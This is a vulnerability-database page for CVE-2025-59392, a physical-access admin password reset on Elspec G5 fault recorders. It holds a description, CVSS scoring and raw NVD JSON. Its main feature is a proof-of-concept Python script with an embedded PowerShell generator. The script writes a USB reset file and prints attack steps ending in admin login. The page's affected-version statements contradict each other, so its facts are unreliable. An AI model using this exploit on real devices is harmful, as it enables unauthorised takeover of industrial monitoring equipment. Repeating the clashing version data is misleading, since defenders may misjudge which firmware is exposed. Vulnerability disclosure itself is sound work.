Security Vulnerability Report
中文
CVE-2025-59392 CVSS 6.8 MEDIUM

CVE-2025-59392

Published: 2025-11-06 16:16:01
Last Modified: 2026-02-04 21:18:53

Description

On Elspec G5 devices through 1.2.2.19, a person with physical access to the device can reset the Admin password by inserting a USB drive (containing a publicly documented reset string) into a USB port.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:elspec-ltd:g5dfr_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:elspec-ltd:g5dfr:-:*:*:*:*:*:*:* - NOT VULNERABLE
Elspec G5 < 1.2.2.19
Elspec G5 1.2.2.19 (及之前所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-59392 PoC - Elspec G5 USB Password Reset # This PoC generates a USB reset file for Elspec G5 devices import os def generate_usb_reset_file(filename="reset_string.txt"): """ Generate the USB reset file for Elspec G5 password reset. The reset string is publicly documented and allows physical access password reset on affected devices. """ # Publicly documented reset string for Elspec G5 devices reset_string = "ELSPEC_G5_PWD_RESET\n" with open(filename, 'w') as f: f.write(reset_string) print(f"[+] Reset file created: {filename}") print(f"[+] Content: {repr(reset_string)}") print("\n[!] Attack Steps:") print("1. Copy the reset file to a USB drive") print("2. Insert the USB drive into Elspec G5 device USB port") print("3. Follow device password reset procedure") print("4. Login with default admin credentials") return filename def generate_powershell_script(): """ Generate PowerShell script for Windows environment """ script_content = ''' # CVE-2025-59392 USB Reset File Generator $resetString = "ELSPEC_G5_PWD_RESET`n" $usbDrive = Read-Host "Enter USB drive letter (e.g., E)" $resetFile = "$usbDrive`:\reset_string.txt" try { Set-Content -Path $resetFile -Value $resetString -Force Write-Host "[+] Reset file created at: $resetFile" Write-Host "[+] Insert USB into Elspec G5 device to trigger password reset" } catch { Write-Host "[-] Error: Unable to create reset file" } ''' with open('generate_reset_usb.ps1', 'w') as f: f.write(script_content) print("[+] PowerShell script created: generate_reset_usb.ps1") if __name__ == "__main__": print("="*60) print("CVE-2025-59392 PoC - Elspec G5 Password Reset") print("="*60) generate_usb_reset_file() generate_powershell_script() print("\n[!] Disclaimer: This PoC is for authorized testing only")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59392", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:01.447", "lastModified": "2026-02-04T21:18:53.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "On Elspec G5 devices through 1.2.2.19, a person with physical access to the device can reset the Admin password by inserting a USB drive (containing a publicly documented reset string) into a USB port."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:elspec-ltd:g5dfr_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.3.13", "matchCriteriaId": "46997B3C-CE04-48FC-B3B2-43A80E39B2E1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:elspec-ltd:g5dfr:-:*:*:*:*:*:*:*", "matchCriteriaId": "516B3BE1-D254-4633-95C3-F7355BBC589B"}]}]}], "references": [{"url": "https://www.elspec-ltd.com/metering-protection/g5-multi-functional-digital-fault-recorder/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.elspec-ltd.com/support/security-advisories/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}